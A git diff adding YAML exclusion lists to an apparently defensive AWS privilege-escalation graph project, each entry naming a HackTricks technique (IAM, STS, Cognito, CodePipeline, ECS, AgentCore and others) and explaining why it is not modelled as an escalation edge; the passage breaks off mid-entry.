@@ -0,0 +1,337 @@ +# AWS part A: HackTricks privesc sections intentionally NOT modelled as privesc edges. +# Each item: {source, technique, reason}. Revision a53b46392c. + +# --- IAM --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateaccesskey + source_revision: 3ad99dc7ac + technique: iam:UpdateAccessKey + reason: Only re-activates an existing key; using it requires already knowing the target's secret access key, so the permission alone does not yield a new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamresyncmfadevice + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamresyncmfadevice + source_revision: 3ad99dc7ac + technique: iam:ResyncMFADevice + reason: Requires possession of the target's MFA device and password; no new identity from the permission alone. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamupdateopenidconnectproviderthumbprint-iamlistopenidconnectproviders-iamgetopenidconnectprovider + source_revision: 3ad99dc7ac + technique: iam:UpdateOpenIDConnectProviderThumbprint + reason: AWS validates tokens of most major IdPs against its own trusted CA library and ignores thumbprints; exploitation also requires man-in-the-middle of the IdP JWKS endpoint. Not reliably derivable from a snapshot. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iampassrole--a-compute-service + technique: iam:PassRole + a compute service (generic) + reason: Generic overview; each service-specific PassRole technique is modelled per service with the correct trusted service principal. + +# --- STS / federation --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithsaml + technique: sts:AssumeRoleWithSAML + reason: Requires a valid SAML assertion from the trusted IdP (possession of IdP credentials); no IAM permission grants it. Provider takeover is modelled as aws-iam-updatesamlprovider. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsassumerolewithwebidentity + technique: sts:AssumeRoleWithWebIdentity + reason: Requires a token from the trusted OIDC IdP (external identity possession); trust-policy misconfigurations on OIDC providers are an Exposure finding, not a principal-to-principal edge. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#stsgetfederationtoken + technique: sts:GetFederationToken + reason: Federation tokens are the intersection of the caller's own permissions and the session policy; never more privileged than the source. Persistence only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#federation-abuse + technique: Federation abuse (generic) + reason: Overview pointing to federation pages; requires external IdP control. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#iam-roles-anywhere-privesc + technique: IAM Roles Anywhere misconfigured trust policy + reason: Requires possession of a certificate issued by a trusted CA (external credential); the overly broad trust is an Exposure finding. CA replacement is modelled as aws-rolesanywhere-updatetrustanchor. + +# --- SSO --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md#ssogetrolecredentials + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssogetrolecredentials + technique: sso:GetRoleCredentials + reason: Requires an Identity Center access token of a user already assigned the permission set; no new identity beyond what the user already has. + +# --- Cognito --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#gathering-credentials-from-identity-pool + technique: Unauthenticated identity-pool credentials + reason: Anonymous access to identity-pool roles is an Exposure finding (public), not a permission-based edge from a source principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadminenableuser + technique: cognito-idp:AdminEnableUser + reason: Requires already knowing the disabled user's credentials. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadmininitiateauth-cognito-idpadminrespondtoauthchallenge + technique: cognito-idp:AdminInitiateAuth + AdminRespondToAuthChallenge + reason: Requires the user's password/secret (or a custom-auth flow weakness specific to the app); not derivable from permissions alone. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpadduserpoolclientsecret--inject-an-m2m-application-credential + technique: cognito-idp:AddUserPoolClientSecret + reason: Client-credentials (M2M) tokens grant OAuth scopes to resource servers, not identity-pool AWS roles (identity pools accept user tokens). Application-level impact only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-idpcreateuserpoolclient--cognito-idpupdateuserpoolclient + technique: cognito-idp:CreateUserPoolClient / UpdateUserPoolClient + reason: Relaxes client settings (flows, scopes); still needs user credentials to obtain tokens. Application-level. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#cognito-sync-analysis + technique: Cognito Sync analysis + reason: Data access / tooling notes, no identity gain. + +# --- Directory Service --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc/README.md#aws-management-console + technique: Directory console access (descriptive) + reason: Descriptive console-access section with no separate IAM action or resource. The directory password-reset route remains a conditional candidate until the exact directory, user and resulting authority are joined. + +# --- Amplify --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetapp-amplifygetbranch-amplifylistapps-amplifylistbranches-amplifygetjob--read-deployment-variables-and-build-logs + technique: Read deployment variables and build logs + reason: Pure data read (secrets exposure); Least Privilege / Exposure. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-amplify-post-exploitation/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-amplify-privesc/README.md#amplifygetartifacturl--download-end-to-end-test-artifacts + technique: amplify:GetArtifactUrl + reason: Pure data read. + +# --- API Gateway --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypost + technique: apigateway:POST (API keys) + reason: Creates API keys for API access; application-level, no IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayget + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayget + technique: apigateway:GET + reason: Pure data read (API keys). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayupdaterestapipolicy--apigatewaypatch + technique: apigateway:UpdateRestApiPolicy / PATCH + reason: Opens API invocation (resource policy); application access, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-apigatewaypost + technique: apigateway:PATCH + POST (authorizer/integration changes) + reason: Bypasses API authorization of backend apps; application-level, no IAM identity gained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#http-apis--apigatewayv2-variant + technique: HTTP APIs (apigatewayv2) variant + reason: Same application-level authorizer/route manipulation as REST variant. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewaypatch-on-a-rest-vpc-link-does-not-permit-nlb-redirection + technique: apigateway:PATCH on a REST VPC link + reason: HackTricks itself documents this as not exploitable. + +# --- App Runner --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#apprunnerdescribeservice--read-plaintext-runtime-variables + technique: apprunner:DescribeService + reason: Pure data read (plaintext env vars). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md#mutable-private-ecr-tag-with-automatic-deployments + technique: Mutable ECR tag with App Runner automatic deployments + reason: Restored as aws-apprunner-mutable-ecr-autodeploy with an exact same-account repository, watched mutable tag, automatic deployment, push permissions and instance-role join. + +# --- Batch --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-batch-privesc/README.md#mutable-ecr-tag-poisoning-of-an-existing-job-definition + technique: Mutable ECR tag poisoning of a job definition + reason: Replacing a mutable ECR tag does not prove that an existing Batch job definition will consume the new image or run it under a recorded role. The ECR-to-job-definition and execution joins remain unverified. + +# --- Chime --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#legacy-amazon-chime-createapikey-retired + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#legacy-chimecreateapikey + historical_source_revision: 171e422299 + source_revision: 3ad99dc7ac + technique: chime:CreateApiKey + reason: Creates a SCIM key for an Amazon Chime account (application-level, no IAM identity); HackTricks marks it TODO and AWS ended Amazon Chime support on 2026-02-20. + +# --- CloudFormation --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationexecutechangeset-on-a-pre-staged-change-set + source_revision: 3ad99dc7ac + technique: cloudformation:ExecuteChangeSet on a pre-staged change set + reason: The source executes content it did not author; it only triggers an already-reviewed change. No attacker-controlled code under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudformation-trigger-post-exploitation/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#cloudformationsignalresource--release-a-stack-waiting-on-a-success-signal + source_revision: 3ad99dc7ac + technique: cloudformation:SignalResource + reason: Releases a gate for a fixed workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#aws-cdk + technique: AWS CDK bootstrap roles + reason: CDK bootstrap roles are regular roles whose reachability is covered by sts:AssumeRole and CloudFormation PassRole entries. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#determining-the-role-names + technique: CDK role-name discovery + reason: Reconnaissance only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#adding-malicious-code-to-the-project-source + technique: Poisoning CDK project source + reason: Source-repository write outside AWS IAM; not evaluable from the AWS snapshot. + +# --- CloudFront --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontupdatedistribution--cloudfrontgetdistributionconfig + technique: cloudfront:UpdateDistribution (origin change) + reason: Traffic/content hijack of end users; no IAM identity gained. + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md#cloudfrontcreatefunction-cloudfrontdescribefunction-cloudfrontpublishfunction-cloudfrontgetdistributionconfig--cloudfrontupdatedistribution + technique: CloudFront Functions injection + reason: CloudFront Functions have no IAM role; impact is on end-user traffic only. + +# --- CodeBuild --- + source_revision: 1fb542ff27 +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildretrybuild--re-execute-a-completed-build-under-its-stored-role + technique: codebuild:RetryBuild + reason: Replays the stored build configuration; the source controls nothing that runs under the role unless combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#ssm + technique: ssm:StartSession into CodeBuild sandboxes + reason: Cross-reference; SSM techniques are owned by ssm.yaml (part B), sandbox command execution is modelled as aws-codebuild-startcommandexecution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md#codebuildbatchgetprojects-codebuildbatchgetbuilds--read-build-environment-values + technique: codebuild:BatchGetProjects / BatchGetBuilds + reason: Pure data read (plaintext env values). + +# --- CodePipeline --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinestartpipelineexecution--inject-a-v2-pipeline-variable + technique: Inject a V2 pipeline variable + reason: Value-only injection whose impact depends on pipeline action semantics; not generically evaluable. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineretrystageexecution--replay-a-failed-privileged-stage + technique: codepipeline:RetryStageExecution + reason: Replays a fixed workload; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineenablestagetransition--release-an-execution-waiting-at-a-disabled-transition + technique: codepipeline:EnableStageTransition + reason: Gate release for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineoverridestagecondition--bypass-an-active-stage-condition + technique: codepipeline:OverrideStageCondition + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinerollbackstage--replay-a-prior-successful-stage-revision + technique: codepipeline:RollbackStage + reason: Replays a prior reviewed revision; no attacker-controlled execution. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputapprovalresult--bypass-a-manual-gate + technique: codepipeline:PutApprovalResult + reason: Approval bypass only; becomes an escalation only combined with source poisoning (modelled separately). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelineputjobsuccessresult--bypass-a-zero-output-custom-action-gate + technique: codepipeline:PutJobSuccessResult + reason: Gate bypass for a fixed workload. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codepipeline-data-access-post-exploitation/README.md#codepipelinepollforjobs + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md#codepipelinepollforjobs + technique: codepipeline:PollForJobs + reason: Steals custom-action job artifacts/credentials scoped to the pipeline artifact bucket; data access, not a role identity. + +# --- CodeStar (service discontinued) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#iampassrole-codestarcreateproject + technique: iam:PassRole + codestar:CreateProject + reason: AWS CodeStar was discontinued on 2024-07-31; the APIs are no longer available. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateproject-codestarassociateteammember + technique: codestar:CreateProject + codestar:AssociateTeamMember + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md#codestarcreateprojectfromtemplate + technique: codestar:CreateProjectFromTemplate + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/codestar-createproject-codestar-associateteammember.md + technique: CodeStar CreateProject + AssociateTeamMember (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md + technique: CodeStar PassRole + CreateProject (sub-page) + reason: AWS CodeStar discontinued (2024-07-31). + +# --- DynamoDB --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: dynamodb:PutResourcePolicy + reason: Grants the source data access to tables; data access, not a new identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#post-exploitation + technique: Post exploitation cross-reference + reason: Cross-reference only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md#todo-read-data-abusing-data-streams + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#todo-read-data-abusing-data-streams + technique: Read data via streams (TODO) + reason: Data read; unfinished section. + +# --- EBS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ebslistsnapshotblocks-ebsgetsnapshotblock-ec2describesnapshots + technique: EBS direct snapshot reads + reason: Data read (credentials found on disks are not derivable from the snapshot). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2createsnapshot + source_revision: f2aa915198 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc/README.md#ec2createsnapshot + technique: ec2:CreateSnapshot + reason: Data access to volumes; no new identity. + +# --- EC2 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#replace-security-groups-on-a-running-instance + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#replace-security-groups-on-a-running-instance + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceAttribute (security groups) + reason: Network change only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#launch-template-and-auto-scaling-constraints + technique: Launch-template and Auto Scaling constraints + reason: Clarifying section (constraints); folded into ec2.yaml entries. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#autoscalingsetdesiredcapacity--activate-a-stored-launch-template-and-instance-role + source_revision: 3ad99dc7ac + technique: autoscaling:SetDesiredCapacity + reason: Starts a fixed stored workload; the source controls nothing that runs under the role. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2-instance-connectsendserialconsolesshpublickey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2-instance-connectsendserialconsolesshpublickey + source_revision: 3ad99dc7ac + technique: ec2-instance-connect:SendSerialConsoleSSHPublicKey + reason: Serial console still requires a valid OS user password; not derivable from permissions (and serial console must be enabled account-wide). +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2describelaunchtemplateversions-ec2describelaunchtemplates-optional + source_revision: 3ad99dc7ac + technique: ec2:DescribeLaunchTemplateVersions + reason: Reading an exact launch-template version may expose user data, but no IAM principal + edge follows without a recorded, currently valid credential in that data and its exact + AWS subject. The automatic graph does not inspect or authenticate that secret content. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyinstancemetadataoptions-imds-downgrade-to-enable-ssrf-credential-theft + source_revision: 3ad99dc7ac + technique: ec2:ModifyInstanceMetadataOptions (IMDSv1 downgrade) + reason: Requires a separate SSRF vulnerability in the instance's application; not derivable from the snapshot. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2modifyimageattribute-ec2modifysnapshotattribute + source_revision: 3ad99dc7ac + technique: ec2:ModifyImageAttribute / ModifySnapshotAttribute + reason: Data sharing/exfiltration; no identity gain. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ec2getpassworddata + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md#ec2getpassworddata + source_revision: 3ad99dc7ac + technique: ec2:GetPasswordData + reason: Needs the key-pair private key; yields an OS login, whose instance-role reach depends on network access. Treated as data read. + +# --- ECR --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrgetauthorizationtoken-ecrbatchgetimage-ecrgetdownloadurlforlayer + technique: ECR image pull + reason: Data read. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#global-registry-hijack-via-root-pull-through-cache-rule + technique: ROOT pull-through cache rule + reason: A ROOT prefix can affect future cache misses but does not replace existing repositories. The pull-through-cache route remains conditional on an absent repository, exact workload image path, controlled upstream and execution under a recorded role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc/README.md#ecrputaccountsetting-registry-policy-scope + technique: ecr:PutAccountSetting (registry policy scope downgrade) + reason: HackTricks documents the V2-to-V1 downgrade as no longer supported. + +# --- ECS --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsupdateservice--reactivate-a-dormant-service-with-its-stored-task-role + source_revision: 3ad99dc7ac + technique: ecs:UpdateService (desired count only) + reason: Starts a fixed stored workload; no attacker-controlled execution under the role. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#mutable-ecr-tag-consumed-by-an-ecs-service-deployment-digest-boundary + technique: Mutable ECR tag consumed by an ECS service + reason: ECS normally resolves an image tag to a digest for a deployment. Replacing the tag alone does not prove a service will start the new image under its task role; the exact repository, deployment trigger and task role must be joined. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#runtime-command-overrides-with-iampassrole-and-ecsruntask + technique: Runtime command overrides with iam:PassRole + ecs:RunTask + reason: Duplicate of aws-ecs-passrole-runtask-overrides. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ssmstartsession + technique: ssm:StartSession (cross-reference) + reason: Owned by ssm.yaml (part B). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#iampassrole-ec2runinstances + technique: iam:PassRole + ec2:RunInstances (cross-reference) + reason: The general EC2 RunInstances and PassRole route is represented separately. Joining a launched instance to an ECS cluster and reaching another task role requires cluster registration, a compatible task and an exact execution foothold; that cross-reference remains a conditional candidate. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#backdoor-compute-in-cluster-via-ecs-anywhere-external-registration + technique: ECS Anywhere EXTERNAL registration + reason: The task-definition and StartTask permissions are represented separately, but registering an ECS Anywhere host is not. A role edge also needs a connected, source-controlled EXTERNAL host, compatible task definition and exact task role; registration permission alone is insufficient. + +# --- General --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md + technique: AWS privilege escalation index + reason: Index page, no techniques. + +# --- Merged / duplicate sections (kept for traceability) --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachmanagedpolicyfrompermissionset + technique: sso:DetachManagedPolicyFromPermissionSet + reason: Removing this policy grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodetachcustomermanagedpolicyreferencefrompermissionset + technique: sso:DetachCustomerManagedPolicyReferenceFromPermissionSet + reason: Removing this policy reference grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#ssodeleteinlinepolicyfrompermissionset + technique: sso:DeleteInlinePolicyFromPermissionSet + reason: Deleting this inline policy grants no new rights by itself. A principal edge needs an exact assignment, successful provisioning and a demonstrated effective permission gain for a source-controlled identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc/README.md#automatic-tools + technique: Automatic tools + reason: Tooling references only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md + technique: iam:PassRole + cloudformation:CreateStack + cloudformation:DescribeStacks (sub-page) + reason: Same edge as aws-cloudformation-passrole-createstack; DescribeStacks only reads outputs. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml new file mode 100644 index 0000000000..6ebf6149ae --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_agentcore_bounded_surfaces_20261022.yaml @@ -0,0 +1,9 @@ +# Browser and gateway roles need an exact caller-controlled action before they become privilege edges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcorecreatecodeinterpreter--createbrowser-iampassrole--sandbox-actions-with-an-execution-role + source_revision: e350a39af5 + technique: Drive an AgentCore browser with a passed execution role + reason: CreateBrowser and InvokeBrowser give browser automation, not the arbitrary code action supplied by InvokeCodeInterpreter. A role edge needs a concrete browser operation that lets the source obtain credentials or perform a role-authorized action, plus exact browser and role permission joins. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-bedrock-agentcore-privesc/README.md#bedrock-agentcoreupdateagentruntime--updategateway-iampassrole--change-an-existing-resources-role + source_revision: e350a39af5 + technique: Change an AgentCore gateway role and invoke a target under it + reason: UpdateGateway can change the service role, but the role is used only for configured target calls. A privilege edge needs a caller-invokable exact gateway target whose operation can use the newly allowed permission, plus target authorization, trust, PassRole and exact gateway grants. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml new file mode 100644 index 0000000000..c3705af3fe --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_apigateway_generic_integration.yaml @@ -0,0 +1,5 @@ +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md#apigatewayput-apigatewaypost-and-sometimes-iampassrole + source_revision: 171e422299 + technique: Pass a role to a REST API AWS-service integration and invoke it + reason: The demonstrated Lambda integration permits invocation of a named function when the integration role allows it; it does not give the caller that role's other permissions or the function's execution role. The generic catalog entry did not bind a specific AWS action and resource that would cause privilege escalation. Reintroduce only an exact supported integration action and a proved path to greater authority. + prior_id: aws-apigateway-integration-credentials-passrole diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..889afa5fd7 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_app_plane_subject_strict_reaudit_20261016.yaml @@ -0,0 +1,19 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/app-plane-subject-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-connect-privesc/README.md#grant-admin-through-security-profile-mutation + source_revision: 171e422299 + technique: Grant Connect Admin through security-profile assignment or mutation + reason: The source can change a security profile or assignment, but no Connect user + it controls and can sign into is joined to that change. + prior_id: aws-connect-security-profile-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdatepermissions--iam-identity-center-administrator + source_revision: b587e6bd26 + technique: Grant a controlled Identity Center identity Grafana administrator access + reason: UpdatePermissions can grant ADMIN to an Identity Center identity, but the + source is not proved to control a credentialed member of that user/group. + prior_id: aws-grafana-updatepermissions-sso-admin +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-quicksight-privesc/README.md#quicksightupdateuser--self-promote-to-admin + source_revision: 171e422299 + technique: Promote a controlled QuickSight user to ADMIN + reason: UpdateUser can promote any QuickSight user, but the source is not proved + to control the promoted user or its sign-in. + prior_id: aws-quicksight-updateuser-admin diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..8f40efbf50 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_artifact_join_strict_reaudit_20261016.yaml @@ -0,0 +1,86 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/artifact-join-strict-re-audit.yaml.txt. +- source: 